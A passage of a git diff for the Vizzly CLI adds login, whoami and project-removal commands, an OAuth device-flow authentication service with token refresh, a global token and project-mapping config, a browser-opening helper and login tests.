output: process.stdout, + }); + + let ask = () => { + rl.question(`${message} (${min}-${max}): `, answer => { + let num = parseInt(answer, 10); + if (isNaN(num) || num < min || num > max) { + console.log(`Please enter a number between ${min} and ${max}`); + ask(); + } else { + rl.close(); + resolve(num); + } + }); + }; + + ask(); + }); +} + +/** + * Project remove command - remove project configuration for current directory + * @param {Object} _options - Command options (unused) + * @param {Object} globalOptions - Global CLI options + */ +export async function projectRemoveCommand(_options = {}, globalOptions = {}) { + let ui = new ConsoleUI({ + json: globalOptions.json, + verbose: globalOptions.verbose, + color: !globalOptions.noColor, + }); + + try { + let currentDir = resolve(process.cwd()); + let mapping = await getProjectMapping(currentDir); + + if (!mapping) { + ui.info('No project configured for this directory'); + ui.cleanup(); + return; + } + + // Confirm removal + console.log(''); // Empty line for spacing + ui.info('Current project configuration:'); + console.log(` Project: ${mapping.projectName} (${mapping.projectSlug})`); + console.log(` Organization: ${mapping.organizationSlug}`); + console.log(` Directory: ${currentDir}`); + console.log(''); // Empty line for spacing + + let confirmed = await promptConfirm('Remove this project configuration?'); + + if (!confirmed) { + ui.info('Cancelled'); + ui.cleanup(); + return; + } + + await deleteProjectMapping(currentDir); + + ui.success('Project configuration removed'); + console.log(''); // Empty line for spacing + ui.info('Run "vizzly project:select" to configure a different project'); + + ui.cleanup(); + } catch (error) { + ui.error('Failed to remove project configuration', error, 0); + if (globalOptions.verbose && error.stack) { + console.error(''); // Empty line for spacing + console.error(error.stack); + } + process.exit(1); + } +} + +/** + * Helper to prompt for confirmation + */ +function promptConfirm(message) { + return new Promise(resolve => { + let rl = readline.createInterface({ + input: process.stdin, + output: process.stdout, + }); + + rl.question(`${message} (y/n): `, answer => { + rl.close(); + resolve(answer.toLowerCase() === 'y' || answer.toLowerCase() === 'yes'); + }); + }); +} + +/** + * Validate project command options + */ +export function validateProjectOptions() { + return []; +} diff --git a/src/commands/run.js b/src/commands/run.js index a0077b0a..1c66aa83 100644 --- a/src/commands/run.js +++ b/src/commands/run.js @@ -74,8 +74,40 @@ export async function runCommand( try { // Load configuration with CLI overrides const allOptions = { ...globalOptions, ...options }; + + // Debug: Check options before loadConfig + if (process.env.DEBUG_CONFIG) { + console.log( + '[RUN] allOptions.token:', + allOptions.token ? allOptions.token.substring(0, 8) + '***' : 'NONE' + ); + } + const config = await loadConfig(globalOptions.config, allOptions); + // Debug: Check config immediately after loadConfig + if (process.env.DEBUG_CONFIG) { + console.log('[RUN] Config after loadConfig:', { + hasApiKey: !!config.apiKey, + apiKeyPrefix: config.apiKey + ? config.apiKey.substring(0, 8) + '***' + : 'NONE', + }); + } + + if (globalOptions.verbose) { + ui.info('Token check:', { + hasApiKey: !!config.apiKey, + apiKeyType: typeof config.apiKey, + apiKeyPrefix: + typeof config.apiKey === 'string' && config.apiKey + ? config.apiKey.substring(0, 10) + '...' + : 'none', + projectSlug: config.projectSlug || 'none', + organizationSlug: config.organizationSlug || 'none', + }); + } + // Validate API token (unless --allow-no-token is set) if (!config.apiKey && !config.allowNoToken) { ui.error( @@ -112,6 +144,17 @@ export async function runCommand( verbose: globalOptions.verbose, uploadAll: options.uploadAll || false, }; + + // Debug: Check config before creating container + if (process.env.DEBUG_CONFIG) { + console.log('[RUN] Config before container:', { + hasApiKey: !!configWithVerbose.apiKey, + apiKeyPrefix: configWithVerbose.apiKey + ? configWithVerbose.apiKey.substring(0, 8) + '***' + : 'NONE', + }); + } + const command = 'run'; const container = await createServiceContainer(configWithVerbose, command); testRunner = await container.get('testRunner'); // Assign to outer scope variable diff --git a/src/commands/whoami.js b/src/commands/whoami.js new file mode 100644 index 00000000..08b21c9f --- /dev/null +++ b/src/commands/whoami.js @@ -0,0 +1,179 @@ +/** + * Whoami command implementation + * Shows current user and authentication status + */ + +import { ConsoleUI } from '../utils/console-ui.js'; +import { AuthService } from '../services/auth-service.js'; +import { getApiUrl } from '../utils/environment-config.js'; +import { getAuthTokens } from '../utils/global-config.js'; + +/** + * Whoami command implementation + * @param {Object} options - Command options + * @param {Object} globalOptions - Global CLI options + */ +export async function whoamiCommand(options = {}, globalOptions = {}) { + // Create UI handler + let ui = new ConsoleUI({ + json: globalOptions.json, + verbose: globalOptions.verbose, + color: !globalOptions.noColor, + }); + + try { + // Check if user is logged in + let auth = await getAuthTokens(); + + if (!auth || !auth.accessToken) { + if (globalOptions.json) { + ui.data({ authenticated: false }); + } else { + ui.info('You are not logged in'); + console.log(''); // Empty line for spacing + ui.info('Run "vizzly login" to authenticate'); + } + ui.cleanup(); + return; + } + + // Get current user info + ui.startSpinner('Fetching user information...'); + + let authService = new AuthService({ + baseUrl: options.apiUrl || getApiUrl(), + }); + + let response = await authService.whoami(); + + ui.stopSpinner(); + + // Output in JSON mode + if (globalOptions.json) { + ui.data({ + authenticated: true, + user: response.user, + organizations: response.organizations || [], + tokenExpiresAt: auth.expiresAt, + }); + ui.cleanup(); + return; + } + + // Human-readable output + ui.success('Authenticated'); + console.log(''); // Empty line for spacing + + // Show user info + if (response.user) { + ui.info(`User: ${response.user.name || response.user.username}`); + ui.info(`Email: ${response.user.email}`); + + if (response.user.username) { + ui.info(`Username: ${response.user.username}`); + } + + if (globalOptions.verbose && response.user.id) { + ui.info(`User ID: ${response.user.id}`); + } + } + + // Show organizations + if (response.organizations && response.organizations.length > 0) { + console.log(''); // Empty line for spacing + ui.info('Organizations:'); + for (let org of response.organizations) { + let orgInfo = ` - ${org.name}`; + if (org.slug) { + orgInfo += ` (@${org.slug})`; + } + if (org.role) { + orgInfo += ` [${org.role}]`; + } + console.log(orgInfo); + + if (globalOptions.verbose && org.id) { + console.log(` ID: ${org.id}`); + } + } + } + + // Show token expiry info + if (auth.expiresAt) { + console.log(''); // Empty line for spacing + let expiresAt = new Date(auth.expiresAt); + let now = new Date(); + let msUntilExpiry = expiresAt.getTime() - now.getTime(); + let daysUntilExpiry = Math.floor(msUntilExpiry / (1000 * 60 * 60 * 24)); + let hoursUntilExpiry = Math.floor(msUntilExpiry / (1000 * 60 * 60)); + let minutesUntilExpiry = Math.floor(msUntilExpiry / (1000 * 60)); + + if (msUntilExpiry <= 0) { + ui.warning('Token has expired'); + console.log(''); // Empty line for spacing + ui.info('Run "vizzly login" to refresh your authentication'); + } else if (daysUntilExpiry > 0) { + ui.info( + `Token expires in ${daysUntilExpiry} day${daysUntilExpiry !== 1 ? 's' : ''} (${expiresAt.toLocaleDateString()})` + ); + } else if (hoursUntilExpiry > 0) { + ui.info( + `Token expires in ${hoursUntilExpiry} hour${hoursUntilExpiry !== 1 ? 's' : ''} (${expiresAt.toLocaleString()})` + ); + } else if (minutesUntilExpiry > 0) { + ui.info( + `Token expires in ${minutesUntilExpiry} minute${minutesUntilExpiry !== 1 ? 's' : ''}` + ); + } else { + ui.warning('Token expires in less than a minute'); + console.log(''); // Empty line for spacing + ui.info('Run "vizzly login" to refresh your authentication'); + } + + if (globalOptions.verbose) { + ui.info(`Token expires at: ${expiresAt.toISOString()}`); + } + } + + ui.cleanup(); + } catch (error) { + ui.stopSpinner(); + + // Handle authentication errors with helpful messages + if (error.name === 'AuthError') { + if (globalOptions.json) { + ui.data({ + authenticated: false, + error: error.message, + }); + } else { + ui.error('Authentication token is invalid or expired', error, 0); + console.log(''); // Empty line for spacing + ui.info('Run "vizzly login" to authenticate again'); + } + ui.cleanup(); + process.exit(1); + } else { + ui.error('Failed to get user information', error, 0); + + if (globalOptions.verbose && error.stack) { + console.error(''); // Empty line for spacing + console.error(error.stack); + } + + process.exit(1); + } + } +} + +/** + * Validate whoami options + * @param {Object} options - Command options + */ +export function validateWhoamiOptions() { + let errors = []; + + // No specific validation needed for whoami command + + return errors; +} diff --git a/src/services/api-service.js b/src/services/api-service.js index 3b9d49f0..19317429 100644 --- a/src/services/api-service.js +++ b/src/services/api-service.js @@ -12,18 +12,21 @@ import { getApiToken, getUserAgent, } from '../utils/environment-config.js'; +import { getAuthTokens, saveAuthTokens } from '../utils/global-config.js'; /** * ApiService class for direct API communication */ export class ApiService { constructor(options = {}) { - this.baseUrl = options.baseUrl || getApiUrl(); - this.token = options.token || getApiToken(); + // Accept config as-is, no fallbacks to environment + // Config-loader handles all env/file resolution + this.baseUrl = options.apiUrl || options.baseUrl || getApiUrl(); + this.token = options.apiKey || options.token || getApiToken(); // Accept both apiKey and token this.uploadAll = options.uploadAll || false; // Build User-Agent string - const command = options.command || 'run'; // Default to 'run' for API service + const command = options.command || 'run'; const baseUserAgent = `vizzly-cli/${getPackageVersion()} (${command})`; const sdkUserAgent = options.userAgent || getUserAgent(); this.userAgent = sdkUserAgent @@ -32,7 +35,7 @@ export class ApiService { if (!this.token && !options.allowNoToken) { throw new VizzlyError( - 'No API token provided. Set VIZZLY_TOKEN environment variable.' + 'No API token provided. Set VIZZLY_TOKEN environment variable or run "vizzly login".' ); } } @@ -41,9 +44,10 @@ export class ApiService { * Make an API request * @param {string} endpoint - API endpoint * @param {Object} options - Fetch options + * @param {boolean} isRetry - Internal flag to prevent infinite retry loops * @returns {Promise} Response data */ - async request(endpoint, options = {}) { + async request(endpoint, options = {}, isRetry = false) { const url = `${this.baseUrl}${endpoint}`; const headers = { 'User-Agent': this.userAgent, @@ -71,10 +75,56 @@ export class ApiService { // ignore } - // Handle authentication errors with user-friendly messages + // Handle authentication errors with automatic token refresh + if (response.status === 401 && !isRetry) { + // Attempt to refresh token if we have refresh token in global config + let auth = await getAuthTokens(); + + if (auth && auth.refreshToken) { + try { + // Attempt token refresh + let refreshResponse = await fetch( + `${this.baseUrl}/api/auth/cli/refresh`, + { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + 'User-Agent': this.userAgent, + }, + body: JSON.stringify({ refreshToken: auth.refreshToken }), + } + ); + + if (refreshResponse.ok) { + let refreshData = await refreshResponse.json(); + + // Save new tokens to global config + await saveAuthTokens({ + accessToken: refreshData.accessToken, + refreshToken: refreshData.refreshToken, + expiresAt: refreshData.expiresAt, + user: auth.user, // Keep existing user data + }); + + // Update token for this service instance + this.token = refreshData.accessToken; + + // Retry the original request with new token + return this.request(endpoint, options, true); + } + } catch { + // Token refresh failed, fall through to auth error + } + } + + throw new AuthError( + 'Invalid or expired API token. Please run "vizzly login" to authenticate.' + ); + } + if (response.status === 401) { throw new AuthError( - 'Invalid or expired API token. Please check your VIZZLY_TOKEN environment variable and ensure it is valid.' + 'Invalid or expired API token. Please run "vizzly login" to authenticate.' ); } diff --git a/src/services/auth-service.js b/src/services/auth-service.js new file mode 100644 index 00000000..3714cfea --- /dev/null +++ b/src/services/auth-service.js @@ -0,0 +1,261 @@ +/** + * Authentication Service for Vizzly CLI + * Handles authentication flows with the Vizzly API + */ + +import { AuthError, VizzlyError } from '../errors/vizzly-error.js'; +import { getApiUrl } from '../utils/environment-config.js'; +import { getPackageVersion } from '../utils/package-info.js'; +import { + saveAuthTokens, + clearAuthTokens, + getAuthTokens, +} from '../utils/global-config.js'; + +/** + * AuthService class for CLI authentication + */ +export class AuthService { + constructor(options = {}) { + this.baseUrl = options.baseUrl || getApiUrl(); + this.userAgent = `vizzly-cli/${getPackageVersion()} (auth)`; + } + + /** + * Make an unauthenticated API request + * @param {string} endpoint - API endpoint + * @param {Object} options - Fetch options + * @returns {Promise} Response data + */ + async request(endpoint, options = {}) { + let url = `${this.baseUrl}${endpoint}`; + let headers = { + 'User-Agent': this.userAgent, + ...options.headers, + }; + + let response = await fetch(url, { + ...options, + headers, + }); + + if (!response.ok) { + let errorText = ''; + let errorData = null; + + try { + let contentType = response.headers.get('content-type'); + if (contentType && contentType.includes('application/json')) { + errorData = await response.json(); + errorText = errorData.error || errorData.message || ''; + } else { + errorText = await response.text(); + } + } catch { + errorText = response.statusText || ''; + } + + if (response.status === 401) { + throw new AuthError( + errorText || + 'Invalid credentials. Please check your email/username and password.' + ); + } + + if (response.status === 429) { + throw new VizzlyError( + 'Too many login attempts. Please try again later.', + 'RATE_LIMIT_ERROR' + ); + } + + throw new VizzlyError( + `Authentication request failed: ${response.status}${errorText ? ` - ${errorText}` : ''}`, + 'AUTH_REQUEST_ERROR' + ); + } + + return response.json(); + } + + /** + * Make an authenticated API request + * @param {string} endpoint - API endpoint + * @param {Object} options - Fetch options + * @returns {Promise} Response data + */ + async authenticatedRequest(endpoint, options = {}) { + let auth = await getAuthTokens(); + + if (!auth || !auth.accessToken) { + throw new AuthError( + 'No authentication token found. Please run "vizzly login" first.' + ); + } + + let url = `${this.baseUrl}${endpoint}`; + let headers = { + 'User-Agent': this.userAgent, + Authorization: `Bearer ${auth.accessToken}`, + ...options.headers, + }; + + let response = await fetch(url, { + ...options, + headers, + }); + + if (!response.ok) { + let errorText = ''; + + try { + let contentType = response.headers.get('content-type'); + if (contentType && contentType.includes('application/json')) { + let errorData = await response.json(); + errorText = errorData.error || errorData.message || ''; + } else { + errorText = await response.text(); + } + } catch { + errorText = response.statusText || ''; + } + + if (response.status === 401) { + throw new AuthError( + 'Authentication token is invalid or expired. Please run "vizzly login" again.' + ); + } + + throw new VizzlyError( + `API request failed: ${response.status}${errorText ? ` - ${errorText}` : ''}`, + 'API_REQUEST_ERROR' + ); + } + + return response.json(); + } + + /** + * Initiate OAuth device flow + * @returns {Promise} Device code, user code, verification URL + */ + async initiateDeviceFlow() { + return this.request('/api/auth/cli/device/initiate', { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + }); + } + + /** + * Poll for device authorization + * @param {string} deviceCode - Device code from initiate + * @returns {Promise} Token data or pending status + */ + async pollDeviceAuthorization(deviceCode) { + return this.request('/api/auth/cli/device/poll', { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ device_code: deviceCode }), + }); + } + + /** + * Complete device flow and save tokens + * @param {Object} tokenData - Token response from poll + * @returns {Promise} Token data with user info + */ + async completeDeviceFlow(tokenData) { + // Save tokens to global config + await saveAuthTokens({ + accessToken: tokenData.accessToken, + refreshToken: tokenData.refreshToken, + expiresAt: tokenData.expiresAt, + user: tokenData.user, + }); + + return tokenData; + } + + /** + * Refresh access token using refresh token + * @returns {Promise} New tokens + */ + async refresh() { + let auth = await getAuthTokens(); + + if (!auth || !auth.refreshToken) { + throw new AuthError( + 'No refresh token found. Please run "vizzly login" first.' + ); + } + + let response = await this.request('/api/auth/cli/refresh', { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ + refreshToken: auth.refreshToken, + }), + }); + + // Update tokens in global config + await saveAuthTokens({ + accessToken: response.accessToken, + refreshToken: response.refreshToken, + expiresAt: response.expiresAt, + user: auth.user, // Keep existing user data + }); + + return response; + } + + /** + * Logout and revoke tokens + * @returns {Promise} + */ + async logout() { + let auth = await getAuthTokens(); + + if (auth && auth.refreshToken) { + try { + // Attempt to revoke tokens on server + await this.request('/api/auth/cli/logout', { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ + refreshToken: auth.refreshToken, + }), + }); + } catch (error) { + // If server request fails, still clear local tokens + console.warn( + 'Warning: Failed to revoke tokens on server:', + error.message + ); + } + } + + // Clear tokens from global config + await clearAuthTokens(); + } + + /** + * Get current user information + * @returns {Promise} User and organization data + */ + async whoami() { + return this.authenticatedRequest('/api/auth/cli/whoami'); + } + + /** + * Check if user is authenticated + * @returns {Promise} True if authenticated + */ + async isAuthenticated() { + try { + await this.whoami(); + return true; + } catch { + return false; + } + } +} diff --git a/src/utils/browser.js b/src/utils/browser.js new file mode 100644 index 00000000..732fab5c --- /dev/null +++ b/src/utils/browser.js @@ -0,0 +1,43 @@ +/** + * Browser utilities for opening URLs + */ + +import { execFile } from 'child_process'; +import { platform } from 'os'; + +/** + * Open a URL in the default browser + * @param {string} url - URL to open + * @returns {Promise} True if successful + */ +export async function openBrowser(url) { + return new Promise(resolve => { + let command; + let args; + let os = platform(); + + switch (os) { + case 'darwin': // macOS + command = 'open'; + args = [url]; + break; + case 'win32': // Windows + command = 'cmd.exe'; + args = ['/c', 'start', '""', url]; + break; + default: // Linux and others + command = 'xdg-open'; + args = [url]; + break; + } + + execFile(command, args, error => { + if (error) { + // Browser opening failed, but don't throw - user can manually open + resolve(false); + } else { + resolve(true); + } + }); + }); +} diff --git a/src/utils/config-loader.js b/src/utils/config-loader.js index 651af336..6a6816f5 100644 --- a/src/utils/config-loader.js +++ b/src/utils/config-loader.js @@ -2,10 +2,11 @@ import { cosmiconfigSync } from 'cosmiconfig'; import { resolve } from 'path'; import { getApiToken, getApiUrl, getParallelId } from './environment-config.js'; import { validateVizzlyConfigWithDefaults } from './config-schema.js'; +import { getAccessToken, getProjectMapping } from './global-config.js'; const DEFAULT_CONFIG = { // API Configuration - apiKey: getApiToken(), + apiKey: undefined, // Will be set from env, global config, or CLI overrides apiUrl: getApiUrl(), // Server Configuration (for run command) @@ -69,16 +70,98 @@ export async function loadConfig(configPath = null, cliOverrides = {}) { // Merge validated file config mergeConfig(config, validatedFileConfig); - // 3. Override with environment variables + // 3. Check project mapping for current directory (if no CLI flag) + if (!cliOverrides.token) { + const currentDir = process.cwd(); + if (process.env.DEBUG_CONFIG) { + console.log('[CONFIG] Looking up project mapping for:', currentDir); + } + const projectMapping = await getProjectMapping(currentDir); + if (projectMapping && projectMapping.token) { + // Handle both string tokens and token objects (backward compatibility) + let token; + if (typeof projectMapping.token === 'string') { + token = projectMapping.token; + } else if ( + typeof projectMapping.token === 'object' && + projectMapping.token.token + ) { + // Handle nested token object from old API responses + token = projectMapping.token.token; + } else { + token = String(projectMapping.token); + } + + config.apiKey = token; + config.projectSlug = projectMapping.projectSlug; + config.organizationSlug = projectMapping.organizationSlug; + + // Debug logging + if (process.env.DEBUG_CONFIG) { + console.log('[CONFIG] Found project mapping:', { + dir: currentDir, + projectSlug: projectMapping.projectSlug, + hasToken: !!projectMapping.token, + tokenType: typeof projectMapping.token, + tokenPrefix: token ? token.substring(0, 8) + '***' : 'none', + }); + console.log( + '[CONFIG] Set config.apiKey to:', + config.apiKey ? config.apiKey.substring(0, 8) + '***' : 'NONE' + ); + } + } else if (process.env.DEBUG_CONFIG) { + console.log('[CONFIG] No project mapping found for:', currentDir); + } + } + + // 3.5. Check global config for user access token (if no CLI flag) + if (!config.apiKey && !cliOverrides.token) { + const globalToken = await getAccessToken(); + if (globalToken) { + config.apiKey = globalToken; + } + } + + // 4. Override with environment variables (higher priority than fallbacks) const envApiKey = getApiToken(); const envApiUrl = getApiUrl(); const envParallelId = getParallelId(); + if (process.env.DEBUG_CONFIG) { + console.log( + '[CONFIG] Step 4 - env vars:', + JSON.stringify({ + hasEnvApiKey: !!envApiKey, + envApiKeyPrefix: envApiKey ? envApiKey.substring(0, 8) + '***' : 'none', + configApiKeyBefore: config.apiKey + ? config.apiKey.substring(0, 8) + '***' + : 'NONE', + }) + ); + } if (envApiKey) config.apiKey = envApiKey; if (envApiUrl !== 'https://app.vizzly.dev') config.apiUrl = envApiUrl; if (envParallelId) config.parallelId = envParallelId; - // 4. Apply CLI overrides (highest priority) + // 5. Apply CLI overrides (highest priority) + if (process.env.DEBUG_CONFIG) { + console.log('[CONFIG] Step 5 - before CLI overrides:', { + configApiKey: config.apiKey + ? config.apiKey.substring(0, 8) + '***' + : 'NONE', + cliToken: cliOverrides.token + ? cliOverrides.token.substring(0, 8) + '***' + : 'none', + }); + } applyCLIOverrides(config, cliOverrides); + if (process.env.DEBUG_CONFIG) { + console.log('[CONFIG] Step 6 - after CLI overrides:', { + configApiKey: config.apiKey + ? config.apiKey.substring(0, 8) + '***' + : 'NONE', + }); + } return config; } diff --git a/src/utils/global-config.js b/src/utils/global-config.js new file mode 100644 index 00000000..34b3be03 --- /dev/null +++ b/src/utils/global-config.js @@ -0,0 +1,267 @@ +/** + * Global User Configuration Utilities + * Manages ~/.vizzly/config.json for storing authentication tokens + */ + +import { homedir } from 'os'; +import { join, dirname, parse } from 'path'; +import { readFile, writeFile, mkdir, chmod } from 'fs/promises'; +import { existsSync } from 'fs'; + +/** + * Get the path to the global Vizzly directory + * @returns {string} Path to ~/.vizzly + */ +export function getGlobalConfigDir() { + return join(homedir(), '.vizzly'); +} + +/** + * Get the path to the global config file + * @returns {string} Path to ~/.vizzly/config.json + */ +export function getGlobalConfigPath() { + return join(getGlobalConfigDir(), 'config.json'); +} + +/** + * Ensure the global config directory exists with proper permissions + * @returns {Promise} + */ +async function ensureGlobalConfigDir() { + let dir = getGlobalConfigDir(); + + if (!existsSync(dir)) { + await mkdir(dir, { recursive: true, mode: 0o700 }); + } +} + +/** + * Load the global configuration + * @returns {Promise} Global config object + */ +export async function loadGlobalConfig() { + try { + let configPath = getGlobalConfigPath(); + + if (!existsSync(configPath)) { + return {}; + } + + let content = await readFile(configPath, 'utf-8'); + return JSON.parse(content); + } catch (error) { + // If file doesn't exist or is corrupted, return empty config + if (error.code === 'ENOENT') { + return {}; + } + + // Log warning about corrupted config but don't crash + console.warn('Warning: Global config file is corrupted, ignoring'); + return {}; + } +} + +/** + * Save the global configuration + * @param {Object} config - Configuration object to save + * @returns {Promise} + */ +export async function saveGlobalConfig(config) { + await ensureGlobalConfigDir(); + + let configPath = getGlobalConfigPath(); + let content = JSON.stringify(config, null, 2); + + // Write file with secure permissions (owner read/write only) + await writeFile(configPath, content, { mode: 0o600 }); + + // Ensure permissions are set correctly (in case umask interfered) + try { + await chmod(configPath, 0o600); + } catch (error) { + // On Windows, chmod may not work as expected, but that's okay + if (process.platform !== 'win32') { + throw error; + } + } +} + +/** + * Clear all global configuration + * @returns {Promise} + */ +export async function clearGlobalConfig() { + await saveGlobalConfig({}); +} + +/** + * Get authentication tokens from global config + * @returns {Promise} Token object with accessToken, refreshToken, expiresAt, user, or null if not found + */ +export async function getAuthTokens() { + let config = await loadGlobalConfig(); + + if (!config.auth || !config.auth.accessToken) { + return null; + } + + return config.auth; +} + +/** + * Save authentication tokens to global config + * @param {Object} auth - Auth object with accessToken, refreshToken, expiresAt, user + * @returns {Promise} + */ +export async function saveAuthTokens(auth) { + let config = await loadGlobalConfig(); + + config.auth = { + accessToken: auth.accessToken, + refreshToken: auth.refreshToken, + expiresAt: auth.expiresAt, + user: auth.user, + }; + + await saveGlobalConfig(config); +} + +/** + * Clear authentication tokens from global config + * @returns {Promise} + */ +export async function clearAuthTokens() { + let config = await loadGlobalConfig(); + delete config.auth; + await saveGlobalConfig(config); +} + +/** + * Check if authentication tokens exist and are not expired + * @returns {Promise} True if valid tokens exist + */ +export async function hasValidTokens() { + let auth = await getAuthTokens(); + + if (!auth || !auth.accessToken) { + return false; + } + + // Check if token is expired + if (auth.expiresAt) { + let expiresAt = new Date(auth.expiresAt); + let now = new Date(); + + // Consider expired if within 5 minutes of expiry + let bufferMs = 5 * 60 * 1000; + if (now.getTime() >= expiresAt.getTime() - bufferMs) { + return false; + } + } + + return true; +} + +/** + * Get the access token from global config if available + * @returns {Promise} Access token or null + */ +export async function getAccessToken() { + let auth = await getAuthTokens(); + return auth?.accessToken || null; +} + +/** + * Get project mapping for a directory + * Walks up the directory tree to find the closest mapping + * @param {string} directoryPath - Absolute path to project directory + * @returns {Promise} Project data or null + */ +export async function getProjectMapping(directoryPath) { + let config = await loadGlobalConfig(); + if (!config.projects) { + if (process.env.DEBUG_CONFIG) { + console.log('[MAPPING] No projects in global config'); + } + return null; + } + + // Walk up the directory tree looking for a mapping + let currentPath = directoryPath; + let { root } = parse(currentPath); + + if (process.env.DEBUG_CONFIG) { + console.log('[MAPPING] Starting lookup from:', currentPath); + console.log('[MAPPING] Available mappings:', Object.keys(config.projects)); + } + + while (currentPath !== root) { + if (process.env.DEBUG_CONFIG) { + console.log('[MAPPING] Checking:', currentPath); + } + + if (config.projects[currentPath]) { + if (process.env.DEBUG_CONFIG) { + console.log('[MAPPING] Found match at:', currentPath); + } + return config.projects[currentPath]; + } + + // Move to parent directory + let parentPath = dirname(currentPath); + if (parentPath === currentPath) { + // We've reached the root + break; + } + currentPath = parentPath; + } + + if (process.env.DEBUG_CONFIG) { + console.log('[MAPPING] No mapping found'); + } + + return null; +} + +/** + * Save project mapping for a directory + * @param {string} directoryPath - Absolute path to project directory + * @param {Object} projectData - Project configuration + * @param {string} projectData.token - Project API token (vzt_...) + * @param {string} projectData.projectSlug - Project slug + * @param {string} projectData.organizationSlug - Organization slug + * @param {string} projectData.projectName - Project name + */ +export async function saveProjectMapping(directoryPath, projectData) { + let config = await loadGlobalConfig(); + if (!config.projects) { + config.projects = {}; + } + config.projects[directoryPath] = { + ...projectData, + createdAt: new Date().toISOString(), + }; + await saveGlobalConfig(config); +} + +/** + * Get all project mappings + * @returns {Promise} Map of directory paths to project data + */ +export async function getProjectMappings() { + let config = await loadGlobalConfig(); + return config.projects || {}; +} + +/** + * Delete project mapping for a directory + * @param {string} directoryPath - Absolute path to project directory + */ +export async function deleteProjectMapping(directoryPath) { + let config = await loadGlobalConfig(); + if (config.projects && config.projects[directoryPath]) { + delete config.projects[directoryPath]; + await saveGlobalConfig(config); + } +} diff --git a/tests/commands/login.spec.js b/tests/commands/login.spec.js new file mode 100644 index 00000000..9273b702 --- /dev/null +++ b/tests/commands/login.spec.js @@ -0,0 +1,370 @@ +/** + * Tests for login command + */ + +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; +import { loginCommand } from '../../src/commands/login.js'; +import { AuthService } from '../../src/services/auth-service.js'; +import * as browser from '../../src/utils/browser.js'; + +// Mock AuthService +vi.mock('../../src/services/auth-service.js', () => ({ + AuthService: vi.fn(), +})); + +// Mock browser utils +vi.mock('../../src/utils/browser.js', () => ({ + openBrowser: vi.fn(), +})); + +describe('Login Command', () => { + let mockAuthService; + let stdinSpies; + let consoleLogSpy; + let processExitSpy; + + beforeEach(() => { + // Mock AuthService instance + mockAuthService = { + initiateDeviceFlow: vi.fn(), + pollDeviceAuthorization: vi.fn(), + completeDeviceFlow: vi.fn(), + }; + AuthService.mockImplementation(() => mockAuthService); + + // Mock browser.openBrowser + browser.openBrowser.mockResolvedValue(true); + + // Add stdin methods if they don't exist (for test environment) + if (!process.stdin.setRawMode) { + process.stdin.setRawMode = () => {}; + } + if (!process.stdin.resume) { + process.stdin.resume = () => {}; + } + if (!process.stdin.pause) { + process.stdin.pause = () => {}; + } + + // Mock stdin for "press Enter to continue" flow + stdinSpies = { + setRawMode: vi + .spyOn(process.stdin, 'setRawMode') + .mockImplementation(() => {}), + resume: vi.spyOn(process.stdin, 'resume').mockImplementation(() => {}), + pause: vi.spyOn(process.stdin, 'pause').mockImplementation(() => {}), + once: vi + .spyOn(process.stdin, 'once') + .mockImplementation((event, callback) => { + // Immediately call the callback to simulate user pressing Enter + setTimeout(() => callback(), 0); + }), + }; + + // Spy on console.log + consoleLogSpy = vi.spyOn(console, 'log').mockImplementation(() => {}); + + // Mock process.exit + processExitSpy = vi.spyOn(process, 'exit').mockImplementation(() => {}); + + vi.clearAllMocks(); + }); + + afterEach(() => { + if (stdinSpies) { + stdinSpies.setRawMode?.mockRestore(); + stdinSpies.resume?.mockRestore(); + stdinSpies.pause?.mockRestore(); + stdinSpies.once?.mockRestore(); + } + consoleLogSpy?.mockRestore(); + processExitSpy?.mockRestore(); + }); + + describe('Successful login flow', () => { + it('should complete OAuth device flow successfully', async () => { + // Mock device flow initiation + mockAuthService.initiateDeviceFlow.mockResolvedValue({ + device_code: 'device_123', + user_code: 'ABCD-EFGH', + verification_uri: 'https://vizzly.dev/activate', + expires_in: 600, + interval: 5, + }); + + // Mock successful authorization poll + mockAuthService.pollDeviceAuthorization.mockResolvedValue({ + tokens: { + accessToken: 'access_token_123', + refreshToken: 'refresh_token_456', + expiresIn: 2592000, // 30 days + }, + user: { + id: 'user_123', + name: 'Test User', + email: 'test@example.com', + }, + organizations: [ + { + name: 'Test Org', + slug: 'test-org', + }, + ], + }); + + mockAuthService.completeDeviceFlow.mockResolvedValue({}); + + await loginCommand({}, {}); + + // Verify auth service methods were called + expect(mockAuthService.initiateDeviceFlow).toHaveBeenCalled(); + expect(mockAuthService.pollDeviceAuthorization).toHaveBeenCalledWith( + 'device_123' + ); + expect(mockAuthService.completeDeviceFlow).toHaveBeenCalledWith( + expect.objectContaining({ + accessToken: 'access_token_123', + refreshToken: 'refresh_token_456', + }) + ); + + // Verify browser was opened + expect(browser.openBrowser).toHaveBeenCalledWith( + 'https://vizzly.dev/activate?code=ABCD-EFGH' + ); + + // Verify user was prompted to press Enter + expect(stdinSpies.setRawMode).toHaveBeenCalledWith(true); + expect(stdinSpies.resume).toHaveBeenCalled(); + expect(stdinSpies.once).toHaveBeenCalledWith( + 'data', + expect.any(Function) + ); + }); + + it('should handle camelCase API response', async () => { + mockAuthService.initiateDeviceFlow.mockResolvedValue({ + deviceCode: 'device_123', + userCode: 'ABCD-EFGH', + verificationUri: 'https://vizzly.dev/activate', + expiresIn: 600, + }); + + mockAuthService.pollDeviceAuthorization.mockResolvedValue({ + tokens: { + accessToken: 'access_token_123', + refreshToken: 'refresh_token_456', + expiresIn: 2592000, + }, + user: { + id: 'user_123', + name: 'Test User', + email: 'test@example.com', + }, + }); + + mockAuthService.completeDeviceFlow.mockResolvedValue({}); + + await loginCommand({}, {}); + + expect(mockAuthService.completeDeviceFlow).toHaveBeenCalled(); + }); + + it('should display user and organization info on success', async () => { + mockAuthService.initiateDeviceFlow.mockResolvedValue({ + device_code: 'device_123', + user_code: 'ABCD-EFGH', + verification_uri: 'https://vizzly.dev/activate', + expires_in: 600, + }); + + mockAuthService.pollDeviceAuthorization.mockResolvedValue({ + tokens: { + accessToken: 'access_token_123', + refreshToken: 'refresh_token_456', + expiresIn: 2592000, + }, + user: { + id: 'user_123', + name: 'Test User', + email: 'test@example.com', + }, + organizations: [ + { + name: 'Test Org', + slug: 'test-org', + }, + ], + }); + + 